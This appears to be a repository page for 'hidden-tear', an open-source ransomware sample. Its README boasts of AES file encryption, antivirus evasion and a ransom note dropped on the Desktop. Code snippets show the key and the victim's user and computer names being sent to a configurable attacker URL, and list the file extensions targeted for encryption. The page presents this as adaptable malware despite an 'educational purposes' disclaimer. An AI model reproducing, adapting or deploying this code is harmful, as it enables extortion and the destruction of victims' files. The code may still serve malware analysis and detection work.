hidden-tear

by goliate

goliate / hidden-tear

ransomware open-sources

465 Stars 354 Forks Last release: Not found 10 Commits 0 Releases

Available items

No Items, yet!

The developer of this repository has not created any items for sale yet. Need a bug fixed? Help with integration? A different license? Create a request here:

     _     _     _     _              _                  
    | |   (_)   | |   | |            | |                 
    | |__  _  __| | __| | ___ _ __   | |_ ___  __ _ _ __ 
    | '_ \| |/ _` |/ _` |/ _ \ '_ \  | __/ _ \/ _` | '__|
    | | | | | (_| | (_| |  __/ | | | | ||  __/ (_| | |   
    |_| |_|_|\__,_|\__,_|\___|_| |_|  \__\___|\__,_|_|   

It's a ransomware-like file crypter sample which can be modified for specific purposes.

Features * Uses AES algorithm to encrypt files. * Sends encryption key to a server. * Encrypted files can be decrypt in decrypter program with encryption key. * Creates a text file in Desktop with given message. * Small file size (12 KB) * Doesn't detected to antivirus programs (15/08/2015) http://nodistribute.com/result/6a4jDwi83Fzt

Demonstration Video

https://www.youtube.com/watch?v=LtiRISepIfs

Usage

  • You need to have a web server which supports scripting languages like php,python etc. Change this line with your URL. (You better use Https connection to avoid eavesdropping)

string targetURL = "https://www.example.com/hidden-tear/write.php?info=";
  • The script should writes the GET parameter to a text file. Sending process running in
    SendPassword()
    function
  string info = computerName + "-" + userName + " " + password;
  var fullUrl = targetURL + info;
  var conent = new System.Net.WebClient().DownloadString(fullUrl);

  • Target file extensions can be change. Default list:
var validExtensions = new[]{".txt", ".doc", ".docx", ".xls", ".xlsx", ".ppt", ".pptx", ".odt", ".jpg", ".png", ".csv", ".sql", ".mdb", ".sln", ".php", ".asp", ".aspx", ".html", ".xml", ".psd"};

Legal Warning

While this may be helpful for some, there are significant risks. hidden tear may be used only for Educational Purposes. Do not use it as a ransomware! You could go to jail on obstruction of justice charges just for running hidden tear, even though you are innocent.

We use cookies. If you continue to browse the site, you agree to the use of cookies. For more information on our use of cookies please see our Privacy Policy.